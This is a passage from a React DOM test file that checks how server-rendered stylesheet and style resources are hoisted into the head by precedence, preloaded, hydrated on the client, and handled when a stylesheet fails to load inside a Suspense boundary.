rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"bar\" />\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </head>\n        <body>\n          {'loading foo...'}\n          {'bar'}\n          <link as=\"style\" href=\"bar\" rel=\"preload\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('foo');\n    });\n    await act(() => {\n      loadStylesheets();\n    });\n    await assertLog([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"bar\" />\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </head>\n        <body>\n          {'foo'}\n          {'bar'}\n          <link as=\"style\" href=\"bar\" rel=\"preload\" />\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('can hoist <link rel=\"stylesheet\" .../> and <style /> tags together, respecting order of discovery', async () => {\n    const css = `\nbody {\n  background-color: red;\n}`;\n\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <link rel=\"stylesheet\" href=\"one1\" precedence=\"one\" />\n            <style href=\"two1\" precedence=\"two\">\n              {css}\n            </style>\n            <link rel=\"stylesheet\" href=\"three1\" precedence=\"three\" />\n            <style href=\"four1\" precedence=\"four\">\n              {css}\n            </style>\n            <Suspense>\n              <BlockedOn value=\"block\">\n                <link rel=\"stylesheet\" href=\"one2\" precedence=\"one\" />\n                <link rel=\"stylesheet\" href=\"two2\" precedence=\"two\" />\n                <style href=\"three2\" precedence=\"three\">\n                  {css}\n                </style>\n                <style href=\"four2\" precedence=\"four\">\n                  {css}\n                </style>\n                <link rel=\"stylesheet\" href=\"five1\" precedence=\"five\" />\n              </BlockedOn>\n            </Suspense>\n            <Suspense>\n              <BlockedOn value=\"block2\">\n                <style href=\"one3\" precedence=\"one\">\n                  {css}\n                </style>\n                <style href=\"two3\" precedence=\"two\">\n                  {css}\n                </style>\n                <link rel=\"stylesheet\" href=\"three3\" precedence=\"three\" />\n                <link rel=\"stylesheet\" href=\"four3\" precedence=\"four\" />\n                <style href=\"six1\" precedence=\"six\">\n                  {css}\n                </style>\n              </BlockedOn>\n            </Suspense>\n            <Suspense>\n              <BlockedOn value=\"block again\">\n                <link rel=\"stylesheet\" href=\"one2\" precedence=\"one\" />\n                <link rel=\"stylesheet\" href=\"two2\" precedence=\"two\" />\n                <style href=\"three2\" precedence=\"three\">\n                  {css}\n                </style>\n                <style href=\"four2\" precedence=\"four\">\n                  {css}\n                </style>\n                <link rel=\"stylesheet\" href=\"five1\" precedence=\"five\" />\n              </BlockedOn>\n            </Suspense>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"one1\" data-precedence=\"one\" />\n          <style data-href=\"two1\" data-precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"three1\" data-precedence=\"three\" />\n          <style data-href=\"four1\" data-precedence=\"four\">\n            {css}\n          </style>\n        </head>\n        <body />\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('block');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"one1\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"one2\" data-precedence=\"one\" />\n          <style data-href=\"two1\" data-precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"two2\" data-precedence=\"two\" />\n          <link rel=\"stylesheet\" href=\"three1\" data-precedence=\"three\" />\n          <style data-href=\"three2\" data-precedence=\"three\">\n            {css}\n          </style>\n          <style data-href=\"four1\" data-precedence=\"four\">\n            {css}\n          </style>\n          <style data-href=\"four2\" data-precedence=\"four\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"five1\" data-precedence=\"five\" />\n        </head>\n        <body>\n          <link rel=\"preload\" href=\"one2\" as=\"style\" />\n          <link rel=\"preload\" href=\"two2\" as=\"style\" />\n          <link rel=\"preload\" href=\"five1\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('block2');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"one1\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"one2\" data-precedence=\"one\" />\n          <style data-href=\"one3\" data-precedence=\"one\">\n            {css}\n          </style>\n          <style data-href=\"two1\" data-precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"two2\" data-precedence=\"two\" />\n          <style data-href=\"two3\" data-precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"three1\" data-precedence=\"three\" />\n          <style data-href=\"three2\" data-precedence=\"three\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"three3\" data-precedence=\"three\" />\n          <style data-href=\"four1\" data-precedence=\"four\">\n            {css}\n          </style>\n          <style data-href=\"four2\" data-precedence=\"four\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"four3\" data-precedence=\"four\" />\n          <link rel=\"stylesheet\" href=\"five1\" data-precedence=\"five\" />\n          <style data-href=\"six1\" data-precedence=\"six\">\n            {css}\n          </style>\n        </head>\n        <body>\n          <link rel=\"preload\" href=\"one2\" as=\"style\" />\n          <link rel=\"preload\" href=\"two2\" as=\"style\" />\n          <link rel=\"preload\" href=\"five1\" as=\"style\" />\n          <link rel=\"preload\" href=\"three3\" as=\"style\" />\n          <link rel=\"preload\" href=\"four3\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('block again');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"one1\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"one2\" data-precedence=\"one\" />\n          <style data-href=\"one3\" data-precedence=\"one\">\n            {css}\n          </style>\n          <style data-href=\"two1\" data-precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"two2\" data-precedence=\"two\" />\n          <style data-href=\"two3\" data-precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"three1\" data-precedence=\"three\" />\n          <style data-href=\"three2\" data-precedence=\"three\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"three3\" data-precedence=\"three\" />\n          <style data-href=\"four1\" data-precedence=\"four\">\n            {css}\n          </style>\n          <style data-href=\"four2\" data-precedence=\"four\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"four3\" data-precedence=\"four\" />\n          <link rel=\"stylesheet\" href=\"five1\" data-precedence=\"five\" />\n          <style data-href=\"six1\" data-precedence=\"six\">\n            {css}\n          </style>\n        </head>\n        <body>\n          <link rel=\"preload\" href=\"one2\" as=\"style\" />\n          <link rel=\"preload\" href=\"two2\" as=\"style\" />\n          <link rel=\"preload\" href=\"five1\" as=\"style\" />\n          <link rel=\"preload\" href=\"three3\" as=\"style\" />\n          <link rel=\"preload\" href=\"four3\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <body>\n          <link rel=\"stylesheet\" href=\"one4\" precedence=\"one\" />\n          <style href=\"two4\" precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"three4\" precedence=\"three\" />\n          <style href=\"four4\" precedence=\"four\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"seven1\" precedence=\"seven\" />\n          <style href=\"eight1\" precedence=\"eight\">\n            {css}\n          </style>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    await act(() => {\n      loadPreloads();\n      loadStylesheets();\n    });\n    await assertLog([\n      'load preload: one4',\n      'load preload: three4',\n      'load preload: seven1',\n      'load preload: one2',\n      'load preload: two2',\n      'load preload: five1',\n      'load preload: three3',\n      'load preload: four3',\n      'load stylesheet: one1',\n      'load stylesheet: one2',\n      'load stylesheet: one4',\n      'load stylesheet: two2',\n      'load stylesheet: three1',\n      'load stylesheet: three3',\n      'load stylesheet: three4',\n      'load stylesheet: four3',\n      'load stylesheet: five1',\n      'load stylesheet: seven1',\n    ]);\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"one1\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"one2\" data-precedence=\"one\" />\n          <style data-href=\"one3\" data-precedence=\"one\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"one4\" data-precedence=\"one\" />\n          <style data-href=\"two1\" data-precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"two2\" data-precedence=\"two\" />\n          <style data-href=\"two3\" data-precedence=\"two\">\n            {css}\n          </style>\n          <style data-href=\"two4\" data-precedence=\"two\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"three1\" data-precedence=\"three\" />\n          <style data-href=\"three2\" data-precedence=\"three\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"three3\" data-precedence=\"three\" />\n          <link rel=\"stylesheet\" href=\"three4\" data-precedence=\"three\" />\n          <style data-href=\"four1\" data-precedence=\"four\">\n            {css}\n          </style>\n          <style data-href=\"four2\" data-precedence=\"four\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"four3\" data-precedence=\"four\" />\n          <style data-href=\"four4\" data-precedence=\"four\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"five1\" data-precedence=\"five\" />\n          <style data-href=\"six1\" data-precedence=\"six\">\n            {css}\n          </style>\n          <link rel=\"stylesheet\" href=\"seven1\" data-precedence=\"seven\" />\n          <style data-href=\"eight1\" data-precedence=\"eight\">\n            {css}\n          </style>\n          <link rel=\"preload\" href=\"one4\" as=\"style\" />\n          <link rel=\"preload\" href=\"three4\" as=\"style\" />\n          <link rel=\"preload\" href=\"seven1\" as=\"style\" />\n        </head>\n        <body>\n          <link rel=\"preload\" href=\"one2\" as=\"style\" />\n          <link rel=\"preload\" href=\"two2\" as=\"style\" />\n          <link rel=\"preload\" href=\"five1\" as=\"style\" />\n          <link rel=\"preload\" href=\"three3\" as=\"style\" />\n          <link rel=\"preload\" href=\"four3\" as=\"style\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('client renders a boundary if a style Resource dependency fails to load', async () => {\n    function App() {\n      return (\n        <html>\n          <head />\n          <body>\n            <Suspense fallback=\"loading...\">\n              <BlockedOn value=\"unblock\">\n                <link rel=\"stylesheet\" href=\"foo\" precedence=\"arbitrary\" />\n                <link rel=\"stylesheet\" href=\"bar\" precedence=\"arbitrary\" />\n                Hello\n              </BlockedOn>\n            </Suspense>\n          </body>\n        </html>\n      );\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>loading...</body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('unblock');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"arbitrary\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"arbitrary\" />\n        </head>\n        <body>\n          loading...\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    errorStylesheets(['bar']);\n    assertLog(['error stylesheet: bar']);\n\n    await waitForAll([]);\n\n    const boundaryTemplateInstance = document.getElementById('B:0');\n    const suspenseInstance = boundaryTemplateInstance.previousSibling;\n\n    expect(suspenseInstance.data).toEqual('$!');\n    expect(boundaryTemplateInstance.dataset.dgst).toBe('CSS failed to load');\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"arbitrary\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"arbitrary\" />\n        </head>\n        <body>\n          loading...\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    const errors = [];\n    ReactDOMClient.hydrateRoot(document, <App />, {\n      onRecoverableError(err, errInfo) {\n        errors.push(err.message);\n        errors.push(err.digest);\n      },\n    });\n    await waitForAll([]);\n    // When binding a stylesheet that was SSR'd in a boundary reveal there is a loadingState promise\n    // We need to use that promise to resolve the suspended commit because we don't know if the load or error\n    // events have already fired. This requires the load to be awaited for the commit to have a chance to flush\n    // We could change this by tracking the loadingState's fulfilled status directly on the loadingState similar\n    // to thenables however this slightly increases the fizz runtime code size.\n    await clientAct(() => loadStylesheets());\n    assertLog(['load stylesheet: foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"arbitrary\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"arbitrary\" />\n        </head>\n        <body>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          Hello\n        </body>\n      </html>,\n    );\n    expect(errors).toEqual([\n      'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n      'CSS failed to load',\n    ]);\n  });\n\n  it('treats stylesheet links with a precedence as a resource', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"arbitrary\" />\n            Hello\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"arbitrary\" />\n        </head>\n        <body>Hello</body>\n      </html>,\n    );\n\n    ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <head />\n        <body>Hello</body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"arbitrary\" />\n        </head>\n        <body>Hello</body>\n      </html>,\n    );\n  });\n\n  it('inserts text separators following text when followed by an element that is converted to a resource and thus removed from the html inline', async () => {\n    // If you render many of these as siblings the values get emitted as a single text with no separator sometimes\n    // because the link gets elided as a resource\n    function AsyncTextWithResource({text, href, precedence}) {\n      const value = readText(text);\n      return (\n        <>\n          {value}\n          <link rel=\"stylesheet\" href={href} precedence={precedence} />\n        </>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <AsyncTextWithResource text=\"foo\" href=\"foo\" precedence=\"one\" />\n            <AsyncTextWithResource text=\"bar\" href=\"bar\" precedence=\"two\" />\n            <AsyncTextWithResource text=\"baz\" href=\"baz\" precedence=\"three\" />\n          </body>\n        </html>,\n      );\n      pipe(writable);\n      resolveText('foo');\n      resolveText('bar');\n      resolveText('baz');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"two\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"three\" />\n        </head>\n        <body>\n          {'foo'}\n          {'bar'}\n          {'baz'}\n        </body>\n      </html>,\n    );\n  });\n\n  it('hoists late stylesheets the correct precedence', async () => {\n    function PresetPrecedence() {\n      ReactDOM.preinit('preset', {as: 'style', precedence: 'preset'});\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <link rel=\"stylesheet\" href=\"initial\" precedence=\"one\" />\n            <PresetPrecedence />\n            <div>\n              <Suspense fallback=\"loading foo bar...\">\n                <div>foo</div>\n                <link rel=\"stylesheet\" href=\"foo\" precedence=\"one\" />\n                <BlockedOn value=\"bar\">\n                  <div>bar</div>\n                  <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n                </BlockedOn>\n              </Suspense>\n            </div>\n            <div>\n              <Suspense fallback=\"loading bar baz qux...\">\n                <BlockedOn value=\"bar\">\n                  <div>bar</div>\n                  <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n                </BlockedOn>\n                <BlockedOn value=\"baz\">\n                  <div>baz</div>\n                  <link rel=\"stylesheet\" href=\"baz\" precedence=\"two\" />\n                </BlockedOn>\n                <BlockedOn value=\"qux\">\n                  <div>qux</div>\n                  <link rel=\"stylesheet\" href=\"qux\" precedence=\"one\" />\n                </BlockedOn>\n              </Suspense>\n            </div>\n            <div>\n              <Suspense fallback=\"loading bar baz qux...\">\n                <BlockedOn value=\"unblock\">\n                  <BlockedOn value=\"bar\">\n                    <div>bar</div>\n                    <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n                  </BlockedOn>\n                  <BlockedOn value=\"baz\">\n                    <div>baz</div>\n                    <link rel=\"stylesheet\" href=\"baz\" precedence=\"two\" />\n                  </BlockedOn>\n                  <BlockedOn value=\"qux\">\n                    <div>qux</div>\n                    <link rel=\"stylesheet\" href=\"qux\" precedence=\"one\" />\n                  </BlockedOn>\n                </BlockedOn>\n              </Suspense>\n            </div>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"initial\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"preset\" data-precedence=\"preset\" />\n        </head>\n        <body>\n          <div>loading foo bar...</div>\n          <div>loading bar baz qux...</div>\n          <div>loading bar baz qux...</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('foo');\n      resolveText('bar');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"initial\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"preset\" data-precedence=\"preset\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>loading foo bar...</div>\n          <div>loading bar baz qux...</div>\n          <div>loading bar baz qux...</div>\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      const link = document.querySelector('link[rel=\"stylesheet\"][href=\"foo\"]');\n      const event = document.createEvent('Events');\n      event.initEvent('load', true, true);\n      link.dispatchEvent(event);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"initial\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"preset\" data-precedence=\"preset\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>loading foo bar...</div>\n          <div>loading bar baz qux...</div>\n          <div>loading bar baz qux...</div>\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      const link = document.querySelector('link[rel=\"stylesheet\"][href=\"bar\"]');\n      const event = document.createEvent('Events');\n      event.initEvent('load', true, true);\n      link.dispatchEvent(event);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"initial\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"preset\" data-precedence=\"preset\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>\n            <div>foo</div>\n            <div>bar</div>\n          </div>\n          <div>loading bar baz qux...</div>\n          <div>loading bar baz qux...</div>\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('baz');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"initial\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"preset\" data-precedence=\"preset\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>\n            <div>foo</div>\n            <div>bar</div>\n          </div>\n          <div>loading bar baz qux...</div>\n          <div>loading bar baz qux...</div>\n          <link rel=\"preload\" as=\"style\" href=\"bar\" />\n          <link rel=\"preload\" as=\"style\" href=\"baz\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('qux');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"initial\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"qux\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"preset\" data-precedence=\"preset\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"two\" />\n        </head>\n        <body>\n          <div>\n            <div>foo</div>\n            <div>bar</div>\n          </div>\n          <div>loading bar baz qux...</div>\n          <div>loading bar baz qux...</div>\n          <link rel=\"preload\" as=\"style\" href=\"bar\" />\n          <link rel=\"preload\" as=\"style\" href=\"baz\" />\n          <link rel=\"preload\" as=\"style\" href=\"qux\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      const bazlink = document.querySelector(\n        'link[rel=\"stylesheet\"][href=\"baz\"]',\n      );\n      const quxlink = document.querySelector(\n        'link[rel=\"stylesheet\"][href=\"qux\"]',\n      );\n      const presetLink = document.querySelector(\n        'link[rel=\"stylesheet\"][href=\"preset\"]',\n      );\n      const event = document.createEvent('Events');\n      event.initEvent('load', true, true);\n      bazlink.dispatchEvent(event);\n      quxlink.dispatchEvent(event);\n      presetLink.dispatchEvent(event);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"initial\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"qux\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"preset\" data-precedence=\"preset\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"two\" />\n        </head>\n        <body>\n          <div>\n            <div>foo</div>\n            <div>bar</div>\n          </div>\n          <div>\n            <div>bar</div>\n            <div>baz</div>\n            <div>qux</div>\n          </div>\n          <div>loading bar baz qux...</div>\n          <link rel=\"preload\" as=\"style\" href=\"bar\" />\n          <link rel=\"preload\" as=\"style\" href=\"baz\" />\n          <link rel=\"preload\" as=\"style\" href=\"qux\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('unblock');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"initial\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"qux\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"preset\" data-precedence=\"preset\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"two\" />\n        </head>\n        <body>\n          <div>\n            <div>foo</div>\n            <div>bar</div>\n          </div>\n          <div>\n            <div>bar</div>\n            <div>baz</div>\n            <div>qux</div>\n          </div>\n          <div>\n            <div>bar</div>\n            <div>baz</div>\n            <div>qux</div>\n          </div>\n          <link rel=\"preload\" as=\"style\" href=\"bar\" />\n          <link rel=\"preload\" as=\"style\" href=\"baz\" />\n          <link rel=\"preload\" as=\"style\" href=\"qux\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('normalizes stylesheet resource precedence for all boundaries inlined as part of the shell flush', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <div>\n              outer\n              <link rel=\"stylesheet\" href=\"1one\" precedence=\"one\" />\n              <link rel=\"stylesheet\" href=\"1two\" precedence=\"two\" />\n              <link rel=\"stylesheet\" href=\"1three\" precedence=\"three\" />\n              <link rel=\"stylesheet\" href=\"1four\" precedence=\"four\" />\n              <Suspense fallback={null}>\n                <div>\n                  middle\n                  <link rel=\"stylesheet\" href=\"2one\" precedence=\"one\" />\n                  <link rel=\"stylesheet\" href=\"2two\" precedence=\"two\" />\n                  <link rel=\"stylesheet\" href=\"2three\" precedence=\"three\" />\n                  <link rel=\"stylesheet\" href=\"2four\" precedence=\"four\" />\n                  <Suspense fallback={null}>\n                    <div>\n                      inner\n                      <link rel=\"stylesheet\" href=\"3five\" precedence=\"five\" />\n                      <link rel=\"stylesheet\" href=\"3one\" precedence=\"one\" />\n                      <link rel=\"stylesheet\" href=\"3two\" precedence=\"two\" />\n                      <link rel=\"stylesheet\" href=\"3three\" precedence=\"three\" />\n                      <link rel=\"stylesheet\" href=\"3four\" precedence=\"four\" />\n                    </div>\n                  </Suspense>\n                </div>\n              </Suspense>\n              <Suspense fallback={null}>\n                <div>middle</div>\n                <link rel=\"stylesheet\" href=\"4one\" precedence=\"one\" />\n                <link rel=\"stylesheet\" href=\"4two\" precedence=\"two\" />\n                <link rel=\"stylesheet\" href=\"4three\" precedence=\"three\" />\n                <link rel=\"stylesheet\" href=\"4four\" precedence=\"four\" />\n              </Suspense>\n            </div>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"1one\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"2one\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"3one\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"4one\" data-precedence=\"one\" />\n\n          <link rel=\"stylesheet\" href=\"1two\" data-precedence=\"two\" />\n          <link rel=\"stylesheet\" href=\"2two\" data-precedence=\"two\" />\n          <link rel=\"stylesheet\" href=\"3two\" data-precedence=\"two\" />\n          <link rel=\"stylesheet\" href=\"4two\" data-precedence=\"two\" />\n\n          <link rel=\"stylesheet\" href=\"1three\" data-precedence=\"three\" />\n          <link rel=\"stylesheet\" href=\"2three\" data-precedence=\"three\" />\n          <link rel=\"stylesheet\" href=\"3three\" data-precedence=\"three\" />\n          <link rel=\"stylesheet\" href=\"4three\" data-precedence=\"three\" />\n\n          <link rel=\"stylesheet\" href=\"1four\" data-precedence=\"four\" />\n          <link rel=\"stylesheet\" href=\"2four\" data-precedence=\"four\" />\n          <link rel=\"stylesheet\" href=\"3four\" data-precedence=\"four\" />\n          <link rel=\"stylesheet\" href=\"4four\" data-precedence=\"four\" />\n\n          <link rel=\"stylesheet\" href=\"3five\" data-precedence=\"five\" />\n        </head>\n        <body>\n          <div>\n            outer\n            <div>\n              middle<div>inner</div>\n            </div>\n            <div>middle</div>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('stylesheet resources are inserted according to precedence order on the client', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <div>\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"one\" />\n              <link rel=\"stylesheet\" href=\"bar\" precedence=\"two\" />\n              Hello\n            </div>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"two\" />\n        </head>\n        <body>\n          <div>Hello</div>\n        </body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <head />\n        <body>\n          <div>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"one\" />\n            <link rel=\"stylesheet\" href=\"bar\" precedence=\"two\" />\n            Hello\n          </div>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"two\" />\n        </head>\n        <body>\n          <div>Hello</div>\n        </body>\n      </html>,\n    );\n\n    root.render(\n      <html>\n        <head />\n        <body>\n          <div>Goodbye</div>\n          <link rel=\"stylesheet\" href=\"baz\" precedence=\"one\" />\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    await act(() => {\n      loadPreloads();\n      loadStylesheets();\n    });\n    await assertLog([\n      'load preload: baz',\n      'load stylesheet: foo',\n      'load stylesheet: baz',\n      'load stylesheet: bar',\n    ]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" 